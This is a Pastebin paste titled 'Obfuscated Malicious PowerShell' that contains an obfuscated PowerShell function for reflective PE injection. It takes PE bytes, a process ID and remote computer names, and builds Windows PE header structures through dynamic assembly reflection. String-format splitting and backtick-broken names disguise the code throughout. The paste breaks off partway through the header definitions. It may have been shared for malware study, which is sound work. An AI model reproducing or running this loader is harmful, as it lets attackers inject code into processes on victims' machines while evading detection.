Advertisement
dissectmalware

Obfuscated Malicious PowerShell

Jan 7th, 2019
2,484
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $I7KUHX  =[tYpe]("{7}{2}{5}{10}{13}{1}{4}{9}{14}{12}{0}{3}{11}{6}{8}"-f 'mAR','opse','yst','sh','R','eM.RuNti','T','S','E','v','ME.','ALAsATtrIbu','ces.','intEr','I') ;   &("{0}{2}{1}"-f'sE','-iTeM','T')  ("V"+"Ari"+"Ab"+"LE:cF84") ([TYPe]("{2}{0}{1}{7}{9}{6}{10}{3}{4}{5}{8}" -F'yste','m.RU','s','es','.un','ManaGeDty','rV','nTiME.inTEroP','pe','se','iC')  );  $7eq=  [tyPe]("{1}{0}" -f '32','INT')  ;    &("{0}{1}" -f's','ET') tIAfhC  ([tyPE]("{0}{1}" -F'bO','ol')  )  ; &("{0}{1}{2}"-f 's','ET','-VARIaBLE') kM5l ( [tYPE]("{0}{1}{2}"-F 'U','I','Nt32')  )  ;    $XD1h =[TYpE]("{1}{0}{2}"-f'NVE','BItco','rtEr');    &("{2}{1}{0}"-f'tem','ET-I','s') ("VaRIA"+"BLE"+":Rb"+"h0")  ( [tYPE]("{1}{8}{6}{4}{2}{5}{9}{11}{10}{7}{12}{0}{3}" -F 'S','S','r','s','EM.','EFLecT','t','DEraCC','Ys','iOn.em','BlYbUIl','It.ASSEm','e'))  ; $eGj7  =  [tyPe]("{0}{1}{2}" -F 'aPPDOma','i','N');&("{1}{0}{2}"-f 'eT-','S','itEM') VAriablE:tg58U ( [TYpE]("{8}{5}{4}{7}{3}{0}{2}{6}{1}" -F'n','gcOnvENtIoNS','.c','o','.REFLEC','sTeM','ALLin','ti','sy') );  &("{0}{1}" -f 'S','eT-iTEm')  variablE:urYi12 ( [tYPE]("{2}{3}{0}{1}" -F 'I','RONmENt','eN','V')) ;  $9hRwNy  =  [tYpE]("{1}{0}"-f'R','uIntpt') ;&("{0}{1}{2}" -f'SeT-i','te','m') ("VARI"+"ABLe:6"+"3"+"Y")  ( [tyPe]("{1}{0}" -f'h','MAT') ) ;  $MlHiT=[typE]("{5}{6}{4}{1}{2}{3}{0}"-F 'HAl','OpSe','R','vIcEs.mArs','R','syStEm.RunT','Ime.iNte');&("{1}{0}" -f 'T','SE') T2NGf  ( [type]("{0}{2}{1}" -F 'IN','PTR','t')) ;$j1v  =[tyPe]("{0}{1}"-F 'Co','NveRt') ; function iN`VokE`-r`F`BuxmE`HAEmZbhI
  2. {
  3.  
  4. [CmdletBinding()]
  5. Param(
  6.     [Parameter(POsitION = 0, MANdAToRy = ${T`Rue})]
  7.     [ValidateNotNullOrEmpty()]
  8.     [Byte[]]
  9.     ${pEb`Y`TEs},
  10.  
  11.     [Parameter(PoSITIoN = 1)]
  12.     [String[]]
  13.     ${C`o`mputEr`N`AMe},
  14.  
  15.     [Parameter(position = 2)]
  16.     [ValidateSet( {"{2}{0}{1}" -f'Strin','g','W'}, {"{1}{2}{0}" -f'ing','S','tr'}, {"{0}{1}" -f 'Voi','d'} )]
  17.     [String]
  18.     ${F`U`NCRe`TuRnt`Ype} = ("{0}{1}" -f 'Vo','id'),
  19.  
  20.     [Parameter(poSitIoN = 3)]
  21.     [String]
  22.     ${eXe`ArgS},
  23.  
  24.     [Parameter(pOsitIOn = 4)]
  25.     [Int32]
  26.     ${p`R`oCID},
  27.  
  28.     [Parameter(PoSiTIoN = 5)]
  29.     [String]
  30.     ${pRo`C`NAme},
  31.  
  32.     [Switch]
  33.     ${FOr`cea`sLR},
  34.  
  35.     [Switch]
  36.     ${DOn`O`T`zEroMZ}
  37. )
  38.  
  39. &("{2}{0}{4}{1}{3}" -f '-St','tMo','Set','de','ric') -Version 2
  40.  
  41.  
  42. ${RemO`TESC`Rip`Tb`LOCk} = {
  43.     [CmdletBinding()]
  44.     Param(
  45.         [Parameter(PoSITion = 0, MandaTORY = ${T`RUe})]
  46.         [Byte[]]
  47.         ${pE`By`Tes},
  48.  
  49.         [Parameter(PosITiON = 1, MANdAToRY = ${T`RuE})]
  50.         [String]
  51.         ${f`UN`cR`ETurNtY`pE},
  52.  
  53.         [Parameter(pOsiTiOn = 2, mANDAtORY = ${TR`UE})]
  54.         [Int32]
  55.         ${pR`O`ciD},
  56.  
  57.         [Parameter(pOsITiON = 3, MAndAtoRY = ${TR`Ue})]
  58.         [String]
  59.         ${Pro`cNa`mE},
  60.  
  61.         [Parameter(POSitIOn = 4, MaNDATOry = ${TR`Ue})]
  62.         [Bool]
  63.         ${fo`RCe`AsLr}
  64.     )
  65.  
  66.     Function Ge`T-wIN`32TyP`ES
  67.     {
  68.         ${w`IN32`T`Ypes} = &("{0}{1}{2}" -f 'New-','Objec','t') ("{1}{2}{0}" -f 'ect','System.Ob','j')
  69.  
  70.         ${d`oMa`In} =   ( &('gI') VaRIABlE:egJ7  ).value::"C`UrrE`N`TDOMain"
  71.         ${dYnAmi`C`Asse`MBly} = &("{0}{2}{1}"-f'N','bject','ew-O') ("{1}{5}{3}{2}{4}{7}{0}{6}" -f 'Nam','S','.Asse','.Reflection','m','ystem','e','bly')(("{0}{1}{2}{3}"-f'Dynam','icA','ssem','bly'))
  72.         ${aS`Se`mBLYBUI`lDEr} = ${dO`MaiN}."deFiNEDY`N`A`MIC`ASsEM`Bly"(${d`Y`NAMICa`sSem`BLy},  (  &("{1}{0}" -f 'iTem','Get-')  vARIable:rBH0  ).valuE::"r`UN")
  73.         ${mO`DULeB`UI`ldER} = ${assemBlYbU`i`L`d`Er}.("{1}{3}{0}{4}{2}{5}" -f'ineDynamicM','De','u','f','od','le').Invoke(("{1}{0}{2}{3}"-f'ami','Dyn','cMo','dule'), ${f`Alse})
  74.         ${c`onst`RUC`ToR`INFo} =   ( &("{3}{1}{0}{2}{4}"-f 't-','E','CHilDi','g','tEM')  ("vari"+"Abl"+"e:i"+"7kUhx")).valUe.("{1}{4}{3}{2}{0}" -f 's','Get','tor','truc','Cons').Invoke()[0]
  75.  
  76.         ${tyP`e`BuILD`Er} = ${M`Odul`E`B`UiLdeR}.("{0}{1}{2}"-f'De','fi','neEnum').Invoke(("{0}{2}{1}" -f'Mach','neType','i'), ("{0}{1}"-f 'Publi','c'), [UInt16])
  77.         ${TyPE`BuILd`er}.("{0}{2}{1}"-f'Defi','eral','neLit').Invoke(("{1}{0}"-f'ative','N'), [UInt16] 0) | &("{0}{1}{2}"-f 'Ou','t','-Null')
  78.         ${T`y`peb`UilDer}.("{1}{2}{3}{0}" -f'ral','Defi','neL','ite').Invoke(("{0}{1}"-f'I','386'), [UInt16] 0x014c) | &("{2}{0}{1}" -f'u','ll','Out-N')
  79.         ${TYp`eBu`IlD`Er}.("{2}{0}{1}" -f'Litera','l','Define').Invoke(("{1}{0}"-f'tanium','I'), [UInt16] 0x0200) | &("{0}{1}"-f'Out-Nul','l')
  80.         ${typ`E`BuILD`ER}."Defin`ElI`TER`Al"('x64', [UInt16] 0x8664) | &("{0}{2}{1}" -f'Out','Null','-')
  81.         ${m`AChINet`YpE} = ${tyPe`BuIl`d`Er}.("{0}{3}{2}{1}" -f 'Cr','ype','eT','eat').Invoke()
  82.         ${W`in32T`ypeS} | &("{1}{0}{3}{2}"-f 'd-Me','Ad','ber','m') -MemberType ("{1}{2}{3}{0}" -f'eProperty','N','o','t') -Name ("{0}{2}{1}{3}"-f'Mac','ineT','h','ype') -Value ${MAchineT`Y`pE}
  83.  
  84.  
  85.         ${tYPeb`U`I`LDEr} = ${M`OdULebu`Ild`Er}.("{1}{2}{0}"-f 'um','Defin','eEn').Invoke(("{1}{2}{0}" -f 'cType','Mag','i'), ("{1}{2}{0}" -f 'c','Pu','bli'), [UInt16])
  86.         ${ty`Pe`BUIL`dEr}.("{1}{2}{0}{3}{4}"-f'e','Def','in','Lite','ral').Invoke(("{8}{0}{7}{5}{6}{3}{1}{4}{2}"-f 'M','AG','C','_HDR32_M','I','_NT','_OPTIONAL','AGE','I'), [UInt16] 0x10b) | &("{2}{1}{0}" -f'ull','N','Out-')
  87.         ${T`y`PEbUILD`er}.("{3}{1}{2}{0}" -f'neLiteral','f','i','De').Invoke(("{2}{4}{0}{3}{5}{6}{1}{7}"-f'AGE_NT_OP','64_MAGI','I','TIO','M','NAL','_HDR','C'), [UInt16] 0x20b) | &("{2}{0}{1}" -f'ut-Nu','ll','O')
  88.         ${Magic`T`ype} = ${tY`PEBuIl`D`er}.("{0}{1}{3}{2}"-f 'Cr','e','Type','ate').Invoke()
  89.         ${Wi`N32t`yPeS} | &("{2}{1}{0}"-f'r','be','Add-Mem') -MemberType ("{2}{0}{1}{3}"-f 't','ePropert','No','y') -Name ("{0}{1}"-f 'Mag','icType') -Value ${MAg`icT`YPE}
  90.  
  91.  
  92.         ${tyPEB`UiLd`Er} = ${M`OdULEb`UiLD`er}.("{2}{1}{0}" -f'Enum','ine','Def').Invoke(("{2}{0}{1}"-f'Sy','stemType','Sub'), ("{0}{1}{2}" -f 'P','ubli','c'), [UInt16])
  93.         ${Ty`Peb`UILd`Er}.("{2}{0}{1}{3}"-f'eLi','t','Defin','eral').Invoke(("{3}{2}{4}{0}{5}{1}" -f'BSYSTEM','N','MAGE','I','_SU','_UNKNOW'), [UInt16] 0) | &("{2}{0}{1}" -f'ut','-Null','O')
  94.         ${ty`peBU`ilder}.("{1}{2}{0}{3}"-f'ineLit','D','ef','eral').Invoke(("{1}{3}{4}{2}{0}{5}" -f'TEM_NAT','I','SYS','MAG','E_SUB','IVE'), [UInt16] 1) | &("{0}{1}"-f'Out','-Null')
  95.         ${Ty`pebui`LdeR}.("{0}{3}{2}{1}" -f 'Define','al','er','Lit').Invoke(("{4}{2}{3}{5}{0}{1}" -f 'EM_W','INDOWS_GUI','UB','S','IMAGE_S','YST'), [UInt16] 2) | &("{2}{0}{1}"-f'ul','l','Out-N')
  96.         ${tY`PeBuiL`DeR}.("{3}{1}{0}{2}"-f'er','neLit','al','Defi').Invoke(("{0}{2}{4}{1}{5}{3}" -f 'IMA','SUBSYSTEM_WIN','GE','S_CUI','_','DOW'), [UInt16] 3) | &("{1}{0}{2}" -f't-Nu','Ou','ll')
  97.         ${typ`e`BUiLD`eR}.("{1}{2}{0}" -f'teral','Defin','eLi').Invoke(("{1}{0}{2}{5}{7}{6}{3}{4}" -f'GE_','IMA','SU','_POSI','X_CUI','B','STEM','SY'), [UInt16] 7) | &("{1}{0}{2}" -f '-','Out','Null')
  98.         ${typ`e`BU`ILdeR}.("{2}{1}{0}{3}" -f'ter','ineLi','Def','al').Invoke(("{1}{3}{5}{0}{6}{2}{4}"-f 'D','IMAGE_S','WS_CE_','UBSYST','GUI','EM_WIN','O'), [UInt16] 9) | &("{1}{2}{0}"-f'l','Out-','Nul')
  99.         ${ty`PebUi`LDER}.("{3}{1}{0}{2}"-f'fi','e','neLiteral','D').Invoke(("{8}{6}{4}{3}{0}{2}{1}{7}{5}"-f'E','EFI_A','M_','T','S','CATION','UBSY','PPLI','IMAGE_S'), [UInt16] 10) | &("{1}{0}"-f'-Null','Out')
  100.         ${tYpe`BuI`Ld`er}.("{0}{3}{2}{1}{4}" -f'Def','e','Lit','ine','ral').Invoke(("{6}{9}{5}{3}{8}{2}{0}{4}{1}{7}"-f'ERV','E_DRIV','S','BO','IC','M_EFI_','IMAGE_','ER','OT_','SUBSYSTE'), [UInt16] 11) | &("{0}{2}{1}" -f'Out','ull','-N')
  101.         ${Ty`peBU`i`lDER}.("{0}{3}{2}{1}"-f 'Def','eral','t','ineLi').Invoke(("{2}{3}{6}{0}{4}{1}{5}"-f 'F','UNTIME_DRI','IMAGE_SUBSYST','E','I_R','VER','M_E'), [UInt16] 12) | &("{0}{2}{1}"-f'Out','ull','-N')
  102.         ${tYP`EBUI`ld`eR}.("{0}{2}{3}{4}{1}" -f'De','ral','fineL','it','e').Invoke(("{5}{3}{4}{2}{1}{6}{7}{0}"-f'_ROM','SY','B','M','AGE_SU','I','STEM','_EFI'), [UInt16] 13) | &("{0}{2}{1}"-f 'Out-N','l','ul')
  103.         ${TyPe`Bu`IL`DEr}.("{2}{3}{1}{0}"-f 'neLiteral','i','D','ef').Invoke(("{1}{2}{3}{4}{0}"-f'BOX','IMAG','E_','SUBSYS','TEM_X'), [UInt16] 14) | &("{1}{2}{0}" -f 'll','Out','-Nu')
  104.         ${SUbsYSteM`T`yPE} = ${t`ypEBui`l`DER}.("{1}{0}{2}" -f 'Ty','Create','pe').Invoke()
  105.         ${wIN32T`Y`P`eS} | &("{2}{1}{0}"-f 'er','emb','Add-M') -MemberType ("{0}{2}{1}{3}"-f 'Not','op','ePr','erty') -Name ("{0}{2}{1}"-f'Su','ystemType','bS') -Value ${SUbs`Ys`TEmtYpe}
  106.  
  107.  
  108.         ${TyPeB`U`il`dER} = ${mO`dUL`EB`UilDEr}.("{2}{0}{1}"-f'efin','eEnum','D').Invoke(("{4}{3}{0}{2}{1}"-f 'ic','e','sTyp','terist','DllCharac'), ("{1}{0}{2}"-f 'l','Pub','ic'), [UInt16])
  109.         ${t`YpeB`UIlder}.("{1}{0}{2}"-f'it','DefineL','eral').Invoke(("{0}{1}" -f 'RES','_0'), [UInt16] 0x0001) | &("{0}{1}{2}"-f'Out-','Nul','l')
  110.         ${TY`PEb`Ui`lDer}.("{2}{1}{3}{0}"-f 'l','efineLite','D','ra').Invoke(("{1}{0}"-f'_1','RES'), [UInt16] 0x0002) | &("{0}{1}{2}"-f'O','ut','-Null')
  111.         ${tY`PeBu`ILdER}.("{0}{2}{1}"-f'Defin','Literal','e').Invoke(("{0}{1}" -f'R','ES_2'), [UInt16] 0x0004) | &("{0}{1}{2}"-f 'O','ut-Nul','l')
  112.         ${Typ`ebUil`dER}.("{3}{2}{1}{0}{4}"-f'neLite','i','ef','D','ral').Invoke(("{0}{1}" -f'RES','_3'), [UInt16] 0x0008) | &("{1}{0}"-f 'Null','Out-')
  113.         ${TYPE`B`Uild`eR}.("{3}{0}{1}{2}"-f 'eL','it','eral','Defin').Invoke(("{0}{4}{5}{3}{1}{2}{6}"-f 'IM','CHARACTERI','STICS_DYNAMIC','_','AGE','_DLL','_BASE'), [UInt16] 0x0040) | &("{2}{0}{1}"-f '-N','ull','Out')
  114.         ${t`yPEbu`IL`dER}.("{1}{0}{2}" -f 'ite','DefineL','ral').Invoke(("{1}{5}{11}{10}{2}{9}{7}{6}{0}{4}{8}{3}"-f'C','IMAGE','A','NTEGRITY','E_','_','CS_FOR','CTERISTI','I','RA','L_CH','DL'), [UInt16] 0x0080) | &("{1}{0}{2}" -f't-','Ou','Null')
  115.         ${typeB`UI`ld`Er}.("{3}{0}{2}{1}{4}"-f 'f','i','ineL','De','teral').Invoke(("{5}{0}{4}{3}{2}{1}" -f 'GE_DLL_CHARA','AT','P','ISTICS_NX_COM','CTER','IMA'), [UInt16] 0x0100) | &("{2}{1}{0}" -f'-Null','t','Ou')
  116.         ${Ty`P`eb`UILdeR}.("{0}{2}{1}" -f'DefineLit','al','er').Invoke(("{2}{0}{5}{7}{8}{9}{6}{4}{3}{1}"-f 'MA','S_NO_ISOLATION','I','ISTIC','R','G','E','E','_DLLCHARA','CT'), [UInt16] 0x0200) | &("{1}{0}{2}" -f't-N','Ou','ull')
  117.         ${tYp`eBUi`LD`er}.("{0}{1}{2}"-f'D','efineLite','ral').Invoke(("{3}{5}{1}{2}{6}{0}{4}"-f 'ACTERIS','LL','CHA','IM','TICS_NO_SEH','AGE_D','R'), [UInt16] 0x0400) | &("{1}{2}{0}"-f 'Null','Out','-')
  118.         ${typEbu`Il`d`er}.("{3}{2}{4}{1}{0}" -f'l','era','f','De','ineLit').Invoke(("{3}{6}{0}{4}{2}{8}{7}{5}{1}" -f 'C','_BIND','RISTI','IMAGE_DLLC','TE','O','HARA','S_N','C'), [UInt16] 0x0800) | &("{2}{1}{0}"-f'Null','-','Out')
  119.         ${type`BuiL`D`er}.("{1}{2}{0}" -f 'eLiteral','De','fin').Invoke(("{1}{0}"-f 'S_4','RE'), [UInt16] 0x1000) | &("{0}{2}{1}" -f'O','Null','ut-')
  120.         ${tY`Pe`BuiL`Der}.("{3}{2}{0}{1}{4}"-f'e','Litera','in','Def','l').Invoke(("{9}{1}{3}{2}{5}{6}{8}{10}{0}{4}{7}"-f 'DM_','E_D','R','LLCHA','DRIV','A','CTERI','ER','ST','IMAG','ICS_W'), [UInt16] 0x2000) | &("{1}{2}{0}"-f 'll','Out','-Nu')
  121.         ${tYPeBu`iL`D`ER}.("{0}{1}{2}{3}"-f 'D','efineLit','era','l').Invoke(("{2}{1}{7}{6}{0}{4}{5}{3}"-f'CS_T','GE_DLLCHARACTE','IMA','RE','E','RMINAL_SERVER_AWA','STI','RI'), [UInt16] 0x8000) | &("{2}{1}{0}"-f 'ull','-N','Out')
  122.         ${DLLch`A`Ra`ct`er`IstIcstY`pE} = ${tY`pebUiL`der}.("{3}{0}{2}{1}" -f'reate','pe','Ty','C').Invoke()
  123.         ${W`i`N`32TYpES} | &("{0}{1}{2}{3}" -f 'A','dd','-','Member') -MemberType ("{0}{2}{1}"-f 'No','Property','te') -Name ("{4}{1}{0}{3}{2}" -f'eristic','llCharact','ype','sT','D') -Value ${dLlChaR`AcT`E`RiSTICS`TY`pE}
  124.  
  125.  
  126.  
  127.         ${A`TT`RibUTes} = ("{3}{9}{10}{15}{1}{16}{4}{2}{0}{12}{14}{7}{6}{5}{13}{11}{8}"-f 'ou','blic, E','Lay','A','t','e','foreFi','Be','Init','utoLayout, Ansi','Cl','d','t, Seal','l','ed, ','ass, Class, Pu','xplici')
  128.         ${tYPebU`I`LDER} = ${ModuLe`B`UIl`der}.("{1}{0}{2}" -f 'e','Defin','Type').Invoke(("{2}{4}{0}{1}{3}"-f 'DATA_D','IREC','IMA','TORY','GE_'), ${a`TtrIB`Ut`Es}, [System.ValueType], 8)
  129.         (${tyP`eB`UiLdeR}.("{2}{1}{0}"-f 'd','neFiel','Defi').Invoke(("{3}{2}{1}{0}{4}" -f'ddres','A','al','Virtu','s'), [UInt32], ("{1}{0}" -f'c','Publi'))).("{1}{2}{0}"-f 't','Set','Offse').Invoke(0) | &("{1}{0}{2}" -f 'ut','O','-Null')
  130.         (${TYPE`Buil`DeR}.("{2}{1}{3}{0}" -f 'ineField','e','D','f').Invoke(("{0}{1}" -f 'Si','ze'), [UInt32], ("{2}{0}{1}" -f'li','c','Pub'))).("{2}{0}{1}{3}" -f'tOf','f','Se','set').Invoke(4) | &("{2}{1}{0}"-f 'ull','N','Out-')
  131.         ${i`mag`E`_`DAtA_Dire`cTOrY} = ${TY`PEBUI`ld`Er}.("{1}{2}{0}"-f'ateType','Cr','e').Invoke()
  132.         ${w`i`N32Ty`peS} | &("{1}{0}{2}" -f'dd-Me','A','mber') -MemberType ("{1}{0}{3}{2}"-f'otePr','N','rty','ope') -Name ("{3}{4}{1}{2}{0}"-f 'IRECTORY','GE','_DATA_D','I','MA') -Value ${ima`GE_Dat`A`_dir`eCT`oRY}
  133.  
  134.  
  135.         ${AtTri`BUT`ES} = ("{2}{11}{13}{5}{7}{3}{6}{4}{0}{8}{12}{1}{9}{10}"-f 'equentialL',', B','Au','t, AnsiCl','blic, S','Layo','ass, Class, Pu','u','ayout, Seale','efo','reFieldInit','t','d','o')
  136.         ${t`yp`ebUIlDEr} = ${m`O`dUL`eBuilDer}.("{0}{2}{1}"-f 'Def','neType','i').Invoke(("{0}{3}{2}{4}{1}"-f'IMAGE','R','LE_HEAD','_FI','E'), ${ATtri`B`UT`eS}, [System.ValueType], 20)
  137.         ${t`yPeB`UIlDER}.("{0}{2}{3}{1}" -f 'Def','ield','in','eF').Invoke(("{1}{0}{2}"-f'in','Mach','e'), [UInt16], ("{2}{0}{1}"-f 'ubl','ic','P')) | &("{0}{1}" -f'O','ut-Null')
  138.         ${TYPEBuil`d`ER}.("{0}{2}{1}" -f 'Defin','eld','eFi').Invoke(("{0}{2}{1}{4}{3}" -f 'NumberO','Secti','f','ns','o'), [UInt16], ("{0}{1}" -f 'Publi','c')) | &("{1}{2}{0}"-f'l','Ou','t-Nul')
  139.         ${Ty`Pe`Bu`Ilder}.("{3}{1}{2}{0}"-f 'ld','e','fineFie','D').Invoke(("{2}{1}{0}" -f'ateStamp','D','Time'), [UInt32], ("{1}{0}"-f 'c','Publi')) | &("{2}{1}{0}"-f'ull','-N','Out')
  140.         ${tYP`eBUi`l`DeR}.("{1}{2}{0}" -f 'ld','Define','Fie').Invoke(("{0}{4}{5}{3}{2}{1}"-f'Po','e','bl','lTa','interT','oSymbo'), [UInt32], ("{1}{2}{0}" -f'ic','P','ubl')) | &("{1}{0}{2}"-f'ut-N','O','ull')
  141.         ${t`y`pe`BuIlDER}.("{2}{1}{3}{0}"-f 'd','fi','De','neFiel').Invoke(("{1}{3}{0}{2}" -f 'Symbo','Num','ls','berOf'), [UInt32], ("{0}{2}{1}"-f'Publ','c','i')) | &("{0}{2}{1}"-f'Out','Null','-')
  142.         ${T`YPe`Bu`ILDEr}.("{2}{3}{1}{0}"-f'ld','Fie','D','efine').Invoke(("{0}{6}{2}{4}{1}{5}{3}"-f 'Siz','lH','n','der','a','ea','eOfOptio'), [UInt16], ("{0}{1}"-f'Pub','lic')) | &("{2}{1}{0}" -f 'l','Nul','Out-')
  143.         ${tYPEbu`I`L`DeR}.("{2}{3}{1}{0}"-f'd','ineFiel','De','f').Invoke(("{0}{1}{2}" -f 'Cha','racterist','ics'), [UInt16], ("{1}{0}" -f 'ublic','P')) | &("{0}{1}{2}" -f'Ou','t-Nul','l')
  144.         ${iM`Ag`E_FIle_`hEadER} = ${TyPEB`UIlD`er}.("{0}{1}{2}"-f'Create','Ty','pe').Invoke()
  145.         ${wi`N3`2TYPeS} | &("{1}{0}{2}"-f 'd-Membe','Ad','r') -MemberType ("{1}{2}{0}"-f'operty','No','tePr') -Name ("{0}{3}{2}{5}{4}{1}"-f 'IMAG','R','F','E_','E_HEADE','IL') -Value ${image_fil`E`_H`eaDeR}
  146.  
  147.  
  148.         ${attrIb`U`TeS} = ("{12}{8}{3}{9}{0}{5}{4}{6}{10}{1}{11}{2}{7}" -f ' ','lic, ExplicitLayout, S','led, BeforeFieldIn','Ans','s','Cla','s, ','it','ayout, ','iClass,','Pub','ea','AutoL')
  149.         ${t`yP`EBUiLdER} = ${M`o`D`UlEBUIld`eR}.("{0}{2}{1}{3}" -f 'D','p','efineTy','e').Invoke(("{3}{4}{2}{1}{5}{0}" -f'4','E','AL_H','IMAG','E_OPTION','ADER6'), ${A`TTr`IBut`ES}, [System.ValueType], 240)
  150.         (${TYP`e`BuilDer}.("{1}{2}{3}{0}" -f 'eld','D','ef','ineFi').Invoke(("{1}{0}" -f'ic','Mag'), ${MAG`ICT`YpE}, ("{1}{0}" -f 'c','Publi'))).("{2}{1}{0}"-f 't','etOffse','S').Invoke(0) | &("{2}{1}{0}"-f'll','ut-Nu','O')
  151.         (${tYP`EbUil`deR}.("{0}{3}{2}{1}"-f 'Define','d','iel','F').Invoke(("{1}{5}{0}{2}{3}{4}"-f 'ink','Major','e','rVers','ion','L'), [Byte], ("{2}{0}{1}" -f'i','c','Publ'))).("{1}{2}{0}"-f 'fset','S','etOf').Invoke(2) | &("{1}{0}"-f 'ut-Null','O')
  152.         (${TyPEb`U`i`LdEr}.("{0}{1}{2}" -f 'De','fineFiel','d').Invoke(("{2}{1}{4}{0}{3}" -f 'rsi','nkerV','MinorLi','on','e'), [Byte], ("{0}{1}"-f 'Publi','c'))).("{1}{0}" -f 'fset','SetOf').Invoke(3) | &("{0}{1}"-f 'Out-','Null')
  153.         (${TyPEbu`Il`D`er}.("{1}{0}{2}"-f'efineF','D','ield').Invoke(("{1}{2}{0}"-f'de','SizeO','fCo'), [UInt32], ("{1}{0}" -f'lic','Pub'))).("{1}{0}{2}" -f'fs','SetOf','et').Invoke(4) | &("{0}{1}{2}"-f 'O','ut-Nul','l')
  154.         (${T`yPE`BuILDEr}.("{3}{1}{0}{2}"-f 'F','e','ield','Defin').Invoke(("{3}{4}{1}{2}{0}" -f'a','lizedD','at','SizeO','fInitia'), [UInt32], ("{1}{0}"-f'c','Publi'))).("{0}{1}{2}"-f 'SetO','ffs','et').Invoke(8) | &("{1}{0}" -f'll','Out-Nu')
  155.         (${typ`EBU`ILD`ER}.("{0}{2}{1}"-f'Defin','eld','eFi').Invoke(("{5}{3}{2}{0}{1}{6}{4}" -f'tialize','dD','fUnini','eO','ta','Siz','a'), [UInt32], ("{1}{0}"-f'lic','Pub'))).("{0}{1}{2}" -f'Set','Of','fset').Invoke(12) | &("{0}{1}" -f 'Out-Nul','l')
  156.         (${t`YpEbuIL`d`Er}.("{1}{3}{2}{0}"-f 'd','Def','l','ineFie').Invoke(("{3}{2}{1}{0}" -f 'yPoint','ntr','OfE','Address'), [UInt32], ("{1}{0}{2}"-f 'ub','P','lic'))).("{1}{2}{0}" -f 'fset','S','etOf').Invoke(16) | &("{2}{1}{0}"-f'l','ut-Nul','O')
  157.         (${tYP`E`B`UIlDEr}.("{1}{2}{0}"-f'Field','Defin','e').Invoke(("{0}{1}{2}" -f 'B','aseOfCo','de'), [UInt32], ("{1}{0}"-f'c','Publi'))).("{0}{1}{2}" -f'S','etO','ffset').Invoke(20) | &("{0}{1}{2}"-f'O','ut','-Null')
  158.         (${TyP`ebUIl`D`Er}.("{0}{1}{2}" -f'D','e','fineField').Invoke(("{0}{1}"-f 'Image','Base'), [UInt64], ("{0}{1}" -f 'P','ublic'))).("{2}{0}{1}"-f't','Offset','Se').Invoke(24) | &("{0}{1}{2}"-f'Out-Nu','l','l')
  159.         (${TYpE`B`UIldeR}.("{1}{2}{0}" -f 'ield','Defi','neF').Invoke(("{2}{0}{3}{1}"-f'ectio','ent','S','nAlignm'), [UInt32], ("{0}{1}"-f'Pu','blic'))).("{0}{1}{2}"-f'S','etOffs','et').Invoke(32) | &("{1}{0}{2}"-f 'ut','O','-Null')
  160.         (${TY`p`e`BUILDeR}.("{1}{2}{0}" -f 'Field','Defi','ne').Invoke(("{0}{2}{3}{1}" -f 'Fi','ment','l','eAlign'), [UInt32], ("{1}{0}"-f'ic','Publ'))).("{1}{0}" -f'tOffset','Se').Invoke(36) | &("{0}{1}{2}" -f 'O','ut-Nul','l')
  161.         (${tyPeB`U`IlDer}.("{0}{3}{2}{1}" -f 'Def','ld','neFie','i').Invoke(("{5}{0}{4}{1}{3}{2}" -f'ra','ingSys','Version','tem','t','MajorOpe'), [UInt16], ("{1}{0}"-f'blic','Pu'))).("{2}{1}{0}"-f 'fset','etOf','S').Invoke(40) | &("{2}{1}{0}" -f 'l','ul','Out-N')
  162.         (${TypE`B`Ui`LDER}.("{2}{1}{0}"-f 'd','eFiel','Defin').Invoke(("{1}{2}{3}{0}{4}{6}{7}{5}" -f 'ngSys','Min','orOperat','i','te','on','mV','ersi'), [UInt16], ("{0}{1}" -f 'Pu','blic'))).("{0}{1}{2}" -f 'SetOffs','e','t').Invoke(42) | &("{1}{0}{2}"-f 'ut-','O','Null')
  163.         (${tyPe`B`U`IldeR}.("{3}{2}{0}{1}"-f'neFie','ld','efi','D').Invoke(("{2}{4}{3}{0}{1}" -f'si','on','MajorIma','r','geVe'), [UInt16], ("{0}{1}"-f'Publi','c'))).("{2}{0}{1}{3}"-f 'et','Off','S','set').Invoke(44) | &("{1}{0}{2}" -f'Nu','Out-','ll')
  164.         (${tYPeB`UIl`d`er}.("{1}{2}{0}{3}" -f 'iel','Define','F','d').Invoke(("{2}{1}{0}{3}" -f 'Versi','inorImage','M','on'), [UInt16], ("{0}{1}" -f 'Publi','c'))).("{2}{1}{0}"-f'set','ff','SetO').Invoke(46) | &("{1}{2}{0}" -f 'ull','Ou','t-N')
  165.         (${TY`PEbuI`ldER}.("{2}{0}{1}" -f'efin','eField','D').Invoke(("{1}{5}{0}{2}{6}{3}{4}"-f 'Subs','Maj','ystemV','si','on','or','er'), [UInt16], ("{1}{2}{0}" -f 'c','Pub','li'))).("{0}{2}{1}"-f'SetOf','set','f').Invoke(48) | &("{2}{1}{0}" -f 'll','Nu','Out-')
  166.         (${t`ype`Bui`ldeR}.("{1}{2}{0}{3}" -f 'i','D','ef','neField').Invoke(("{5}{3}{2}{0}{4}{1}"-f'mV','n','syste','orSub','ersio','Min'), [UInt16], ("{0}{1}" -f 'Publi','c'))).("{1}{2}{0}"-f't','Set','Offse').Invoke(50) | &("{1}{0}{2}"-f'u','O','t-Null')
  167.         (${Typ`e`BuiLD`er}.("{2}{0}{1}" -f 'efineFie','ld','D').Invoke(("{1}{2}{4}{0}{3}"-f 'rsio','Wi','n3','nValue','2Ve'), [UInt32], ("{0}{1}{2}"-f'P','ubli','c'))).("{2}{1}{0}"-f't','se','SetOff').Invoke(52) | &("{2}{0}{1}" -f 'N','ull','Out-')
  168.         (${TyPE`B`Uil`dEr}.("{0}{1}{2}"-f 'D','efine','Field').Invoke(("{3}{2}{0}{1}"-f 'm','age','fI','SizeO'), [UInt32], ("{1}{0}{2}"-f'ubli','P','c'))).("{1}{3}{2}{0}"-f'set','S','f','etOf').Invoke(56) | &("{1}{2}{0}" -f 'l','Out-Nu','l')
  169.         (${TYPEb`UI`lDER}.("{1}{0}{2}{3}"-f 'e','D','fineFie','ld').Invoke(("{4}{1}{3}{2}{0}" -f'rs','ze','de','OfHea','Si'), [UInt32], ("{0}{1}{2}" -f'Pu','b','lic'))).("{1}{0}{2}"-f't','Se','Offset').Invoke(60) | &("{1}{0}{2}" -f'-','Out','Null')
